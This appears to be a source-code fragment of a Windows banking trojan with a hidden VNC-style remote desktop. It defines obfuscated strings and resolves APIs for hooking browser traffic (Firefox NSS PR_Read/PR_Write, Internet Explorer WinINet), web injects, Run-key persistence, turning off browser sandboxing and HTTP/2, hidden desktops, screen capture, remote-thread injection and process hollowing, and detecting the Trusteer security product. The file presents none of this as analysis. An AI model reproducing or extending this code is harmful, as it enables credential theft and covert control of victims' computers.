   Strs::httpReq3          = ENC_STR_A"\r\nPragma: no-cache\r\nContent-type: text/html\r\nConnection: close\r\n"END_ENC_STR;
   Strs::httpReq4          = ENC_STR_A"Content-Length: "END_ENC_STR;
   Strs::httpReq5          = ENC_STR_A"HTTP/1.1 200 OK"END_ENC_STR;
   Strs::httpReq6          = ENC_STR_A": "END_ENC_STR;
   Strs::httpReq7          = ENC_STR_A"Content-Length"END_ENC_STR;
   Strs::httpReq8          = ENC_STR_A"Transfer-Encoding"END_ENC_STR;
   Strs::httpReq9          = ENC_STR_A"chunked"END_ENC_STR;
   Strs::sprintfIntEscape  = ENC_STR_A"%d"END_ENC_STR;
   Strs::winNewLine        = ENC_STR_A"\r\n"END_ENC_STR;

   Strs::ntRegPath         = ENC_STR_A"\\Registry\\User\\%s\\%s"END_ENC_STR;
   Strs::userRunKey        = ENC_STR_A"Software\\Microsoft\\Windows\\CurrentVersion\\Run"END_ENC_STR;

   Strs::dllhostExe         = ENC_STR_A"dllhost.exe"END_ENC_STR;
   Strs::pingRequest        = ENC_STR_A"ping"END_ENC_STR;
   Strs::dll32binRequest    = ENC_STR_A"bin|int32"END_ENC_STR;
   Strs::dll64binRequest    = ENC_STR_A"bin|int64"END_ENC_STR;
   Strs::explorerExe        = ENC_STR_A"explorer.exe"END_ENC_STR;
   Strs::firefoxExe         = ENC_STR_A"firefox.exe"END_ENC_STR;
   Strs::chromeExe          = ENC_STR_A"chrome.exe"END_ENC_STR;
   Strs::iexploreExe        = ENC_STR_A"iexplore.exe"END_ENC_STR;
   Strs::injectsRequest     = ENC_STR_A"injects"END_ENC_STR;
   Strs::firefoxName        = ENC_STR_A"Firefox"END_ENC_STR;
   Strs::chromeName         = ENC_STR_A"Chrome"END_ENC_STR;
   Strs::ieName             = ENC_STR_A"Internet Explorer"END_ENC_STR;
   Strs::chromeDll          = ENC_STR_A"chrome.dll"END_ENC_STR;
   Strs::bitBlt             = ENC_STR_A"BitBlt"END_ENC_STR;

   Strs::nss3dll  = ENC_STR_A"nss3.dll"END_ENC_STR;
   Strs::nspr4dll = ENC_STR_A"nspr4.dll"END_ENC_STR;
   Strs::prRead   = ENC_STR_A"PR_Read"END_ENC_STR;
   Strs::prWrite  = ENC_STR_A"PR_Write"END_ENC_STR;
   Strs::rdata    = ENC_STR_A".rdata"END_ENC_STR;

   Strs::fc1  = ENC_STR_A"\r\nContent-Length: "END_ENC_STR;
   Strs::fc2  = ENC_STR_A"Accept-Encoding"END_ENC_STR;
   Strs::fc3  = ENC_STR_A"identity"END_ENC_STR;
   Strs::fc4  = ENC_STR_A"Content-Length"END_ENC_STR;
   Strs::fc5  = ENC_STR_A"Transfer-Encoding"END_ENC_STR;
   Strs::fc6  = ENC_STR_A"Connection"END_ENC_STR;
   Strs::fc7  = ENC_STR_A"close"END_ENC_STR;
   Strs::fc8  = ENC_STR_A"\r\nContent-Type: "END_ENC_STR;
   Strs::fc9  = ENC_STR_A"text/html"END_ENC_STR;
   Strs::fc10 = ENC_STR_A"\r\nLocation: "END_ENC_STR;
   Strs::fc11 = ENC_STR_A"\r\nContent-Length: "END_ENC_STR;
   Strs::fc12 = ENC_STR_A"X-HeyThere: 5eYEp80n3hM"END_ENC_STR; //HtRGeyznv7k
  
   Strs::headersEnd = ENC_STR_A"\r\n\r\n"END_ENC_STR;

   Strs::bu1 = ENC_STR_A"\r\n%s: *\r\n"END_ENC_STR;
   Strs::bu2 = ENC_STR_A": "END_ENC_STR;
   Strs::bu3 = ENC_STR_A"\r\nHost: "END_ENC_STR;
   Strs::bu4 = ENC_STR_A"http(s)://"END_ENC_STR;
   Strs::bu5 = ENC_STR_A"log|%s|%s|%d|"END_ENC_STR;

   Strs::ie1  = ENC_STR_A"POST"END_ENC_STR;
   Strs::ie2  = ENC_STR_A"<!DOCTYPE"END_ENC_STR;
   Strs::ie3  = ENC_STR_A"<script>window.location.href = window.location.href;</script>"END_ENC_STR;
   Strs::ie4  = ENC_STR_A"InternetCloseHandle"END_ENC_STR;
   Strs::ie5  = ENC_STR_A"InternetQueryDataAvailable"END_ENC_STR;
   Strs::ie6  = ENC_STR_A"HttpOpenRequestW"END_ENC_STR;
   Strs::ie7  = ENC_STR_A"InternetConnectW"END_ENC_STR;
   Strs::ie8  = ENC_STR_A"HttpSendRequestW"END_ENC_STR;
   Strs::ie9  = ENC_STR_A"InternetReadFile"END_ENC_STR;
   Strs::ie10 = ENC_STR_A"InternetReadFileExW"END_ENC_STR;
   Strs::ie11 = ENC_STR_A"InternetWriteFile"END_ENC_STR;

   Strs::exp1  = ENC_STR_A"%appdata%"END_ENC_STR;
   Strs::exp2  = ENC_STR_A"%s\\%s\\%s\\%s.ini"END_ENC_STR;
   Strs::exp3  = ENC_STR_A"Mozilla"END_ENC_STR;
   Strs::exp4  = ENC_STR_A"Firefox"END_ENC_STR;
   Strs::exp5  = ENC_STR_A"Profiles"END_ENC_STR;
   Strs::exp6  = ENC_STR_A"Profile"END_ENC_STR;
   Strs::exp7  = ENC_STR_A"Path"END_ENC_STR;
   Strs::exp8  = ENC_STR_A"%s\\%s\\%s\\%s\\%s\\%s.js"END_ENC_STR;
   Strs::exp9  = ENC_STR_A"prefs"END_ENC_STR;
   Strs::exp10 = ENC_STR_A"network.http.spdy.enabled"END_ENC_STR;
   Strs::exp11 = ENC_STR_A"browser.tabs.remote.autostart"END_ENC_STR;
   Strs::exp12 = ENC_STR_A"user_pref(\"network.http.spdy.enabled.v3-1\", false);\r\nuser_pref(\"network.http.spdy.enabled.v3\", false);\r\nuser_pref(\"network.http.spdy.enabled\", false);\r\nuser_pref(\"browser.tabs.remote.autostart\", false);\r\nuser_pref(\"browser.tabs.remote.autostart.2\", false);\r\nuser_pref(\"gfx.direct2d.disabled\", true);\r\nuser_pref(\"layers.acceleration.disabled\", true);"END_ENC_STR;
   Strs::exp13 = ENC_STR_A"Software\\Microsoft\\Internet Explorer\\Main"END_ENC_STR;
   Strs::exp14 = ENC_STR_A"TabProcGrowth"END_ENC_STR;
   Strs::exp15 = ENC_STR_A"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3"END_ENC_STR;
   Strs::exp16 = ENC_STR_A"2500"END_ENC_STR;
   Strs::exp17 = ENC_STR_A" --disable-http2 --use-spdy=off --disable-quic"END_ENC_STR;
   Strs::exp18 = ENC_STR_A"CreateProcessInternalW"END_ENC_STR;
   Strs::exp19 = ENC_STR_A"NoProtectedModeBanner"END_ENC_STR;

   Strs::hd1   = ENC_STR_A"#32768"END_ENC_STR;
   Strs::hd2   = ENC_STR_A"\\rundll32.exe shell32.dll,#61"END_ENC_STR;
   Strs::hd3   = ENC_STR_A"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"END_ENC_STR;
   Strs::hd4   = ENC_STR_A"TaskbarGlomLevel"END_ENC_STR;
   Strs::hd5   = ENC_STR_A"profiles.ini"END_ENC_STR;
   Strs::hd6   = ENC_STR_A"-profile "END_ENC_STR;
   Strs::hd7   = ENC_STR_A"\\Google\\Chrome\\"END_ENC_STR;
   Strs::hd8   = ENC_STR_A"cmd.exe /c start "END_ENC_STR;
   Strs::hd9   = ENC_STR_A" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="END_ENC_STR;
   Strs::hd10  = ENC_STR_A"User Data\\"END_ENC_STR;
   Strs::hd11  = ENC_STR_A"\\Mozilla\\Firefox\\"END_ENC_STR;
   Strs::hd12  = ENC_STR_A"IsRelative="END_ENC_STR;
   Strs::hd13  = ENC_STR_A"Path="END_ENC_STR;
   Strs::hd14  = ENC_STR_A" -no-remote -profile "END_ENC_STR;

   Strs::infoRequest      = ENC_STR_A"info|%d|%d|%d|%d|%s|%s|%d|%d"END_ENC_STR;
   Strs::pipeName         = ENC_STR_A"\\\\.\\pipe\\%s"END_ENC_STR;  
   Strs::open             = ENC_STR_A"open"END_ENC_STR;
   Strs::hi               = ENC_STR_A"As we walked along the flatblock marina, I was calm on the outside, but thinking all the time. So now it was to be Georgie the general, saying what we should do and what not to do, and Dim as his mindless greeding bulldog. But suddenly I viddied that thinking was for the gloopy ones and that the oomny ones use, like, inspiration and what Bog sends. For now it was lovely music that came to my aid. There was a window open with the stereo on and I viddied right at once what to do."END_ENC_STR;
   Strs::shell_TrayWnd    = ENC_STR_A"Shell_TrayWnd"END_ENC_STR;
   Strs::verclsidExe      = ENC_STR_A"verclsid.exe"END_ENC_STR;
   Strs::dll32cachePrefix = ENC_STR_A"32"END_ENC_STR;
   Strs::dll64cachePrefix = ENC_STR_A"64"END_ENC_STR;
   Strs::loaderDllName    = ENC_STR_A"child.dll"END_ENC_STR;
   Strs::zoneId           = ENC_STR_A":Zone.Identifier"END_ENC_STR;
   Strs::trusteer         = ENC_STR_A"Trusteer"END_ENC_STR;

   Funcs::pLoadLibraryA = (Types::T_LoadLibrary) GetProcAddress(LoadLibraryA(Strs::kernel32), Strs::loadLibraryA);
   HMODULE hUser32 = Funcs::pLoadLibraryA(Strs::user32);
   HMODULE hKernel32 = Funcs::pLoadLibraryA(Strs::kernel32);
   HMODULE hMsvcrt   = Funcs::pLoadLibraryA(Strs::msvcrt);
   HMODULE hNtdll    = Funcs::pLoadLibraryA(Strs::ntdll);
   HMODULE hShlwapi  = Funcs::pLoadLibraryA(Strs::shlwapi);
   HMODULE hShell32  = Funcs::pLoadLibraryA(Strs::shell32);
   HMODULE hSecur32  = Funcs::pLoadLibraryA(Strs::secur32);
   HMODULE hAdvapi32 = Funcs::pLoadLibraryA(Strs::advapi32);
   HMODULE hWs2_32   = Funcs::pLoadLibraryA(Strs::ws2_32);
   HMODULE hVersion  = Funcs::pLoadLibraryA(Strs::version);
   HMODULE hPsapi    = Funcs::pLoadLibraryA(Strs::psapi);
   HMODULE hWininet  = Funcs::pLoadLibraryA(Strs::wininet);
   HMODULE hGdi32    = Funcs::pLoadLibraryA(Strs::gdi32);
                                           
   Funcs::pGetProcAddress                 = (Types::T_GetProcAddress)                 GetProcAddress(hKernel32, Strs::getProcAddress);
   Funcs::pMessageBoxA                    = (Types::T_MessageBox)                     Funcs::pGetProcAddress(hUser32, Strs::messageBoxA);
   Funcs::pGetWindowsDirectoryA           = (Types::T_GetWindowsDirectory)            Funcs::pGetProcAddress(hKernel32, Strs::getWindowsDirectoryA);
   Funcs::pWideCharToMultiByte            = (Types::T_WideCharToMultiByte)            Funcs::pGetProcAddress(hKernel32, Strs::wideCharToMultiByte);
   Funcs::pLocalAlloc                     = (Types::T_LocalAlloc)                     Funcs::pGetProcAddress(hKernel32, Strs::localAlloc);
   Funcs::pWsprintfA                      = (Types::T_wsprintf)                       Funcs::pGetProcAddress(hUser32, Strs::wsprintfA);
   Funcs::pMultiByteToWideChar            = (Types::T_MultiByteToWideChar)            Funcs::pGetProcAddress(hKernel32, Strs::multiByteToWideChar);
   Funcs::pMalloc                         = (Types::T_malloc)                         Funcs::pGetProcAddress(hMsvcrt, Strs::malloc);
   Funcs::pFree                           = (Types::T_free)                           Funcs::pGetProcAddress(hMsvcrt, Strs::free);
   Funcs::pVirtualAllocEx                 = (Types::T_VirtualAllocEx)                 Funcs::pGetProcAddress(hKernel32, Strs::virtualAllocEx);
   Funcs::pWriteProcessMemory             = (Types::T_WriteProcessMemory)             Funcs::pGetProcAddress(hKernel32, Strs::writeProcessMemory);
   Funcs::pCreateRemoteThread             = (Types::T_CreateRemoteThread)             Funcs::pGetProcAddress(hKernel32, Strs::createRemoteThread);
   Funcs::pPathRemoveFileSpecA            = (Types::T_PathRemoveFileSpec)             Funcs::pGetProcAddress(hShlwapi, Strs::pathRemoveFileSpecA);
   Funcs::pGetModuleFileNameA             = (Types::T_GetModuleFileName)              Funcs::pGetProcAddress(hKernel32, Strs::getModuleFileNameA);
   Funcs::pPathFindFileNameA              = (Types::T_PathFindFileName)               Funcs::pGetProcAddress(hShlwapi, Strs::pathFindFileNameA);
   Funcs::pStrncmp                        = (Types::T_strncmp)                        Funcs::pGetProcAddress(hMsvcrt, Strs::strncmp);
   Funcs::pStrnicmp                       = (Types::T_strncmp)                        Funcs::pGetProcAddress(hMsvcrt, Strs::strnicmp);
   Funcs::pLstrlenA                       = (Types::T_lstrlen)                        Funcs::pGetProcAddress(hKernel32, Strs::lstrlenA);
   Funcs::pExitProcess                    = (Types::T_ExitProcess)                    Funcs::pGetProcAddress(hKernel32, Strs::exitProcess);
   Funcs::pSHGetFolderPathA               = (Types::T_SHGetFolderPath)                Funcs::pGetProcAddress(hShell32, Strs::shGetFolderPathA);
   Funcs::pLstrcpyA                       = (Types::T_lstrcpy)                        Funcs::pGetProcAddress(hKernel32, Strs::lstrcpyA);
   Funcs::pLstrcatA                       = (Types::T_lstrcat)                        Funcs::pGetProcAddress(hKernel32, Strs::lstrcatA);
   Funcs::pCopyFileA                      = (Types::T_CopyFile)                       Funcs::pGetProcAddress(hKernel32, Strs::copyFileA);
   Funcs::pGetVolumeInformationA          = (Types::T_GetVolumeInformation)           Funcs::pGetProcAddress(hKernel32, Strs::getVolumeInformationA);
   Funcs::pGetUserNameExA                 = (Types::T_GetUserNameEx)                  Funcs::pGetProcAddress(hSecur32,  Strs::getUserNameExA);
   Funcs::pLookupAccountNameA             = (Types::T_LookupAccountName)              Funcs::pGetProcAddress(hAdvapi32, Strs::lookupAccountNameA);
   Funcs::pConvertSidToStringSidA         = (Types::T_ConvertSidToStringSid)          Funcs::pGetProcAddress(hAdvapi32, Strs::convertSidToStringSidA);
   Funcs::pLocalFree                      = (Types::T_LocalFree)                      Funcs::pGetProcAddress(hKernel32, Strs::localFree);
   Funcs::pMemcpy                         = (Types::T_memcpy)                         Funcs::pGetProcAddress(hMsvcrt, Strs::memcpy);
   Funcs::pLstrcmpA                       = (Types::T_lstrcmp)                        Funcs::pGetProcAddress(hKernel32, Strs::lstrcmpA);
   Funcs::pLstrcmpiA                      = (Types::T_lstrcmp)                        Funcs::pGetProcAddress(hKernel32, Strs::lstrcmpiA);
   Funcs::pStrStrA                        = (Types::T_StrStr)                         Funcs::pGetProcAddress(hShlwapi, Strs::strStrA);
   Funcs::pStrStrIA                       = (Types::T_StrStr)                         Funcs::pGetProcAddress(hShlwapi, Strs::strStrIA);
   Funcs::pStrtol                         = (Types::T_strtol)                         Funcs::pGetProcAddress(hMsvcrt, Strs::strtol);
   Funcs::pRealloc                        = (Types::T_realloc)                        Funcs::pGetProcAddress(hMsvcrt, Strs::realloc); 
   Funcs::pWSAStartup                     = (Types::T_WSAStartup)                     Funcs::pGetProcAddress(hWs2_32, Strs::wsaStartup);
   Funcs::pSocket                         = (Types::T_socket)                         Funcs::pGetProcAddress(hWs2_32, Strs::socket);  
   Funcs::pGethostbyname                  = (Types::T_gethostbyname)                  Funcs::pGetProcAddress(hWs2_32, Strs::gethostbyname);     
   Funcs::pHtons                          = (Types::T_htons)                          Funcs::pGetProcAddress(hWs2_32, Strs::htons);
   Funcs::pConnect                        = (Types::T_connect)                        Funcs::pGetProcAddress(hWs2_32, Strs::connect);
   Funcs::pSend                           = (Types::T_send)                           Funcs::pGetProcAddress(hWs2_32, Strs::send);
   Funcs::pRecv                           = (Types::T_recv)                           Funcs::pGetProcAddress(hWs2_32, Strs::recv);
   Funcs::pClosesocket                    = (Types::T_closesocket)                    Funcs::pGetProcAddress(hWs2_32, Strs::closesocket);
   Funcs::pWSACleanup                     = (Types::T_WSACleanup)                     Funcs::pGetProcAddress(hWs2_32, Strs::wsaCleanup);
   Funcs::pMemset                         = (Types::T_memset)                         Funcs::pGetProcAddress(hMsvcrt, Strs::memset);
   Funcs::pSleep                          = (Types::T_Sleep)                          Funcs::pGetProcAddress(hKernel32, Strs::sleep);
   Funcs::pNtOpenKey                      = (Types::T_NtOpenKey)                      Funcs::pGetProcAddress(hNtdll, Strs::ntOpenKey);
   Funcs::pNtSetValueKey                  = (Types::T_NtSetValueKey)                  Funcs::pGetProcAddress(hNtdll, Strs::ntSetValueKey);
   Funcs::pCloseHandle                    = (Types::T_CloseHandle)                    Funcs::pGetProcAddress(hKernel32, Strs::closeHandle);   
   Funcs::pRtlCreateUserThread            = (Types::T_RtlCreateUserThread)            Funcs::pGetProcAddress(hNtdll, Strs::rtlCreateUserThread);
   Funcs::pCreateProcessA                 = (Types::T_CreateProcess)                  Funcs::pGetProcAddress(hKernel32, Strs::createProcessA);
   Funcs::pInitializeCriticalSection      = (Types::T_InitializeCriticalSection)      Funcs::pGetProcAddress(hKernel32, Strs::initializeCriticalSection);
   Funcs::pEnterCriticalSection           = (Types::T_EnterCriticalSection)           Funcs::pGetProcAddress(hKernel32, Strs::enterCriticalSection);
   Funcs::pLeaveCriticalSection           = (Types::T_LeaveCriticalSection)           Funcs::pGetProcAddress(hKernel32, Strs::leaveCriticalSection);
   Funcs::pGetLastError                   = (Types::T_GetLastError)                   Funcs::pGetProcAddress(hKernel32, Strs::getLastError);
   Funcs::pErrno                          = (Types::T_errno)                          Funcs::pGetProcAddress(hMsvcrt, Strs::_errNo);
   Funcs::pTolower                        = (Types::T_tolower)                        Funcs::pGetProcAddress(hMsvcrt, Strs::toLower);
   Funcs::pIsdigit                        = (Types::T_isdigit)                        Funcs::pGetProcAddress(hMsvcrt, Strs::isDigit);
   Funcs::pStrtoul                        = (Types::T_strtoul)                        Funcs::pGetProcAddress(hMsvcrt, Strs::strToul);
   Funcs::pIsxdigit                       = (Types::T_isxdigit)                       Funcs::pGetProcAddress(hMsvcrt, Strs::isXdigit);
   Funcs::pStrtod                         = (Types::T_strtod)                         Funcs::pGetProcAddress(hMsvcrt, Strs::strTod);
   Funcs::pCreateToolhelp32Snapshot       = (Types::T_CreateToolhelp32Snapshot)       Funcs::pGetProcAddress(hKernel32, Strs::createToolhelp32Snapshot);
   Funcs::pProcess32First                 = (Types::T_Process32First)                 Funcs::pGetProcAddress(hKernel32, Strs::process32First);
   Funcs::pProcess32Next                  = (Types::T_Process32Next)                  Funcs::pGetProcAddress(hKernel32, Strs::process32Next);
   Funcs::pStrChrA                        = (Types::T_StrChr)                         Funcs::pGetProcAddress(hShlwapi, Strs::strChrA);
   Funcs::pStrToIntA                      = (Types::T_StrToInt)                       Funcs::pGetProcAddress(hShlwapi, Strs::strToIntA);
   Funcs::pGetModuleHandleA               = (Types::T_GetModuleHandle)                Funcs::pGetProcAddress(hKernel32, Strs::getModuleHandleA);
   Funcs::pGetFileVersionInfoSizeA        = (Types::T_GetFileVersionInfoSize)         Funcs::pGetProcAddress(hVersion, Strs::getFileVersionInfoSizeA);
   Funcs::pGetFileVersionInfoA            = (Types::T_GetFileVersionInfo)             Funcs::pGetProcAddress(hVersion, Strs::getFileVersionInfoA);
   Funcs::pVerQueryValueA                 = (Types::T_VerQueryValue)                  Funcs::pGetProcAddress(hVersion, Strs::verQueryValueA);
   Funcs::pGetModuleInformation           = (Types::T_GetModuleInformation)           Funcs::pGetProcAddress(hPsapi, Strs::getModuleInformation);
   Funcs::pMemcmp                         = (Types::T_memcmp)                         Funcs::pGetProcAddress(hMsvcrt, Strs::memcmp);
   Funcs::pExpandEnvironmentStringsA      = (Types::T_ExpandEnvironmentStrings)       Funcs::pGetProcAddress(hKernel32, Strs::expandEnvironmentStringsA);
   Funcs::pGetPrivateProfileSectionNamesA = (Types::T_GetPrivateProfileSectionNames)  Funcs::pGetProcAddress(hKernel32, Strs::getPrivateProfileSectionNamesA);
   Funcs::pGetPrivateProfileStringA       = (Types::T_GetPrivateProfileString)        Funcs::pGetProcAddress(hKernel32, Strs::getPrivateProfileStringA);
   Funcs::pCreateFileA                    = (Types::T_CreateFile)                     Funcs::pGetProcAddress(hKernel32, Strs::createFileA);  
   Funcs::pReadFile                       = (Types::T_ReadFile)                       Funcs::pGetProcAddress(hKernel32, Strs::readFile);
   Funcs::pWriteFile                      = (Types::T_WriteFile)                      Funcs::pGetProcAddress(hKernel32, Strs::writeFile);
   Funcs::pRegSetValueExA                 = (Types::T_RegSetValueEx)                  Funcs::pGetProcAddress(hAdvapi32, Strs::regSetValueExA);   
   Funcs::pRegOpenKeyExA                  = (Types::T_RegOpenKeyEx)                   Funcs::pGetProcAddress(hAdvapi32, Strs::regOpenKeyExA);
   Funcs::pRegCloseKey                    = (Types::T_RegCloseKey)                    Funcs::pGetProcAddress(hAdvapi32, Strs::regCloseKey);
   Funcs::pGetFileSize                    = (Types::T_GetFileSize)                    Funcs::pGetProcAddress(hKernel32, Strs::getFileSize);
   Funcs::pResumeThread                   = (Types::T_ResumeThread)                   Funcs::pGetProcAddress(hKernel32, Strs::resumeThread);
   Funcs::pIsWow64Process                 = (Types::T_IsWow64Process)                 Funcs::pGetProcAddress(hKernel32, Strs::isWow64Process);
   Funcs::pGetNativeSystemInfo            = (Types::T_GetNativeSystemInfo)            Funcs::pGetProcAddress(hKernel32, Strs::getNativeSystemInfo);
   Funcs::pOpenProcess                    = (Types::T_OpenProcess)                    Funcs::pGetProcAddress(hKernel32, Strs::openProcess);
   Funcs::pCreateThread                   = (Types::T_CreateThread)                   Funcs::pGetProcAddress(hKernel32, Strs::createThread);
   Funcs::pGetUserNameW                   = (Types::T_GetUserName)                    Funcs::pGetProcAddress(hAdvapi32, Strs::getUserNameW);
   Funcs::pGetComputerNameW               = (Types::T_GetComputerName)                Funcs::pGetProcAddress(hKernel32, Strs::getComputerNameW);
   Funcs::pGetVersionExA                  = (Types::T_GetVersionEx)                   Funcs::pGetProcAddress(hKernel32, Strs::getVersionExA);
   Funcs::pCreateNamedPipeA               = (Types::T_CreateNamedPipe)                Funcs::pGetProcAddress(hKernel32, Strs::createNamedPipeA);
   Funcs::pConnectNamedPipe               = (Types::T_ConnectNamedPipe)               Funcs::pGetProcAddress(hKernel32, Strs::connectNamedPipe);
   Funcs::pDisconnectNamedPipe            = (Types::T_DisconnectNamedPipe)            Funcs::pGetProcAddress(hKernel32, Strs::disconnectNamedPipe);
   Funcs::pInternetCrackUrlA              = (Types::T_InternetCrackUrl)               Funcs::pGetProcAddress(hWininet,  Strs::internetCrackUrlA);
   Funcs::pGetTempPathA                   = (Types::T_GetTempPath)                    Funcs::pGetProcAddress(hKernel32, Strs::getTempPathA);
   Funcs::pGetTempFileNameA               = (Types::T_GetTempFileName)                Funcs::pGetProcAddress(hKernel32, Strs::getTempFileNameA);
   Funcs::pShellExecuteA                  = (Types::T_ShellExecute)                   Funcs::pGetProcAddress(hShell32,  Strs::shellExecuteA);
   Funcs::pIoctlsocket                    = (Types::T_ioctlsocket)                    Funcs::pGetProcAddress(hWs2_32, Strs::ioctlsocket);
   Funcs::pNtohs                          = (Types::T_ntohs)                          Funcs::pGetProcAddress(hWs2_32, Strs::ntohs);
   Funcs::pCreateMutexA                   = (Types::T_CreateMutex)                    Funcs::pGetProcAddress(hKernel32, Strs::createMutexA);
   Funcs::pReleaseMutex                   = (Types::T_ReleaseMutex)                   Funcs::pGetProcAddress(hKernel32, Strs::releaseMutex);
   Funcs::pNtCreateThreadEx               = (Types::T_NtCreateThreadEx)               Funcs::pGetProcAddress(hNtdll, Strs::ntCreateThreadEx);
   Funcs::pTerminateProcess               = (Types::T_TerminateProcess)               Funcs::pGetProcAddress(hKernel32, Strs::terminateProcess);
   Funcs::pFindWindowA                    = (Types::T_FindWindow)                     Funcs::pGetProcAddress(hUser32, Strs::findWindowA);
   Funcs::pGetWindowThreadProcessId       = (Types::T_GetWindowThreadProcessId)       Funcs::pGetProcAddress(hUser32, Strs::getWindowThreadProcessId);
   Funcs::pWaitForSingleObject            = (Types::T_WaitForSingleObject)            Funcs::pGetProcAddress(hKernel32, Strs::waitForSingleObject);
   Funcs::pEnumWindows                    = (Types::T_EnumWindows)                    Funcs::pGetProcAddress(hUser32, Strs::enumWindows);
   Funcs::pGetCurrentProcessId            = (Types::T_GetCurrentProcessId)            Funcs::pGetProcAddress(hKernel32, Strs::getCurrentProcessId);
   Funcs::pDeleteFileA                    = (Types::T_DeleteFile)                     Funcs::pGetProcAddress(hKernel32, Strs::deleteFileA);
   Funcs::pPathFileExistsA                = (Types::T_PathFileExists)                 Funcs::pGetProcAddress(hShlwapi, Strs::pathFileExistsA);
   Funcs::pCreateDirectoryA               = (Types::T_CreateDirectory)                Funcs::pGetProcAddress(hKernel32, Strs::createDirectoryA);
   Funcs::pHttpQueryInfoA                 = (Types::T_HttpQueryInfo)                  Funcs::pGetProcAddress(hWininet, Strs::httpQueryInfoA);
   Funcs::pHttpQueryInfoW                 = (Types::T_HttpQueryInfo)                  Funcs::pGetProcAddress(hWininet, Strs::httpQueryInfoW);
   Funcs::pRtlCompressBuffer              = (Types::T_RtlCompressBuffer)              Funcs::pGetProcAddress(hNtdll, Strs::rtlCompressBuffer);
   Funcs::pRtlGetCompressionWorkSpaceSize = (Types::T_RtlGetCompressionWorkSpaceSize) Funcs::pGetProcAddress(hNtdll, Strs::rtlGetCompressionWorkSpaceSize);
   Funcs::pSetThreadDesktop               = (Types::T_SetThreadDesktop)               Funcs::pGetProcAddress(hUser32, Strs::setThreadDesktop);
   Funcs::pCreateDesktopA                 = (Types::T_CreateDesktop)                  Funcs::pGetProcAddress(hUser32, Strs::createDesktopA);
   Funcs::pOpenDesktopA                   = (Types::T_OpenDesktop)                    Funcs::pGetProcAddress(hUser32, Strs::openDesktopA);
   Funcs::pTerminateThread                = (Types::T_TerminateThread)                Funcs::pGetProcAddress(hKernel32, Strs::terminateThread);
   Funcs::pPostMessageA                   = (Types::T_PostMessage)                    Funcs::pGetProcAddress(hUser32, Strs::postMessageA);
   Funcs::pSendMessageA                   = (Types::T_PostMessage)                    Funcs::pGetProcAddress(hUser32, Strs::sendMessageA);
   Funcs::pChildWindowFromPoint           = (Types::T_ChildWindowFromPoint)           Funcs::pGetProcAddress(hUser32, Strs::childWindowFromPoint);
   Funcs::pScreenToClient                 = (Types::T_ScreenToClient)                 Funcs::pGetProcAddress(hUser32, Strs::screenToClient);
   Funcs::pMoveWindow                     = (Types::T_MoveWindow)                     Funcs::pGetProcAddress(hUser32, Strs::moveWindow);
   Funcs::pGetWindowRect                  = (Types::T_GetWindowRect)                  Funcs::pGetProcAddress(hUser32, Strs::getWindowRect);
   Funcs::pGetMenuItemID                  = (Types::T_GetMenuItemID)                  Funcs::pGetProcAddress(hUser32, Strs::getMenuItemID);
   Funcs::pMenuItemFromPoint              = (Types::T_MenuItemFromPoint)              Funcs::pGetProcAddress(hUser32, Strs::menuItemFromPoint);
   Funcs::pRealGetWindowClassA            = (Types::T_RealGetWindowClass)             Funcs::pGetProcAddress(hUser32, Strs::realGetWindowClassA);
   Funcs::pPtInRect                       = (Types::T_PtInRect)                       Funcs::pGetProcAddress(hUser32, Strs::ptInRect);
   Funcs::pGetWindowPlacement             = (Types::T_GetWindowPlacement)             Funcs::pGetProcAddress(hUser32, Strs::getWindowPlacement);
   Funcs::pGetWindowLongA                 = (Types::T_GetWindowLong)                  Funcs::pGetProcAddress(hUser32, Strs::getWindowLongA);
   Funcs::pSetWindowLongA                 = (Types::T_SetWindowLong)                  Funcs::pGetProcAddress(hUser32, Strs::setWindowLongA);
   Funcs::pWindowFromPoint                = (Types::T_WindowFromPoint)                Funcs::pGetProcAddress(hUser32, Strs::windowFromPoint);
   Funcs::pSHAppBarMessage                = (Types::T_SHAppBarMessage)                Funcs::pGetProcAddress(hShell32, Strs::shAppBarMessage);
   Funcs::pRegQueryValueExA               = (Types::T_RegQueryValueEx)                Funcs::pGetProcAddress(hAdvapi32, Strs::regQueryValueExA);
   Funcs::pGetDesktopWindow               = (Types::T_GetDesktopWindow)               Funcs::pGetProcAddress(hUser32, Strs::getDesktopWindow);
   Funcs::pDeleteDC                       = (Types::T_DeleteDC)                       Funcs::pGetProcAddress(hGdi32, Strs::deleteDc);
   Funcs::pReleaseDC                      = (Types::T_ReleaseDC)                      Funcs::pGetProcAddress(hUser32, Strs::releaseDc);
   Funcs::pDeleteObject                   = (Types::T_DeleteObject)                   Funcs::pGetProcAddress(hGdi32, Strs::deleteObject);
   Funcs::pGetDIBits                      = (Types::T_GetDIBits)                      Funcs::pGetProcAddress(hGdi32, Strs::getDiBits);
   Funcs::pStretchBlt                     = (Types::T_StretchBlt)                     Funcs::pGetProcAddress(hGdi32, Strs::stretchBlt);
   Funcs::pSetStretchBltMode              = (Types::T_SetStretchBltMode)              Funcs::pGetProcAddress(hGdi32, Strs::setStretchBltMode);                                                             
   Funcs::pSelectObject                   = (Types::T_SelectObject)                   Funcs::pGetProcAddress(hGdi32, Strs::selectObject);
   Funcs::pCreateCompatibleDC             = (Types::T_CreateCompatibleDC)             Funcs::pGetProcAddress(hGdi32, Strs::createCompatibleDc);
   Funcs::pCreateCompatibleBitmap         = (Types::T_CreateCompatibleBitmap)         Funcs::pGetProcAddress(hGdi32, Strs::createCompatibleBitmap);
   Funcs::pGetDC                          = (Types::T_GetDC)                          Funcs::pGetProcAddress(hUser32, Strs::getDc);
   Funcs::pIsWindowVisible                = (Types::T_IsWindowVisible)                Funcs::pGetProcAddress(hUser32, Strs::isWindowVisible);
   Funcs::pGetWindow                      = (Types::T_GetWindow)                      Funcs::pGetProcAddress(hUser32, Strs::getWindow);
   Funcs::pBitBlt                         = (Types::T_BitBlt)                         Funcs::pGetProcAddress(hGdi32, Strs::bitBlt);
   Funcs::pPrintWindow                    = (Types::T_PrintWindow)                    Funcs::pGetProcAddress(hUser32, Strs::printWindow);
   Funcs::pGetTopWindow                   = (Types::T_GetTopWindow)                   Funcs::pGetProcAddress(hUser32, Strs::getTopWindow);
   Funcs::pNtUnmapViewOfSection           = (Types::T_NtUnmapViewOfSection)           Funcs::pGetProcAddress(hNtdll, Strs::ntUnmapViewOfSection);
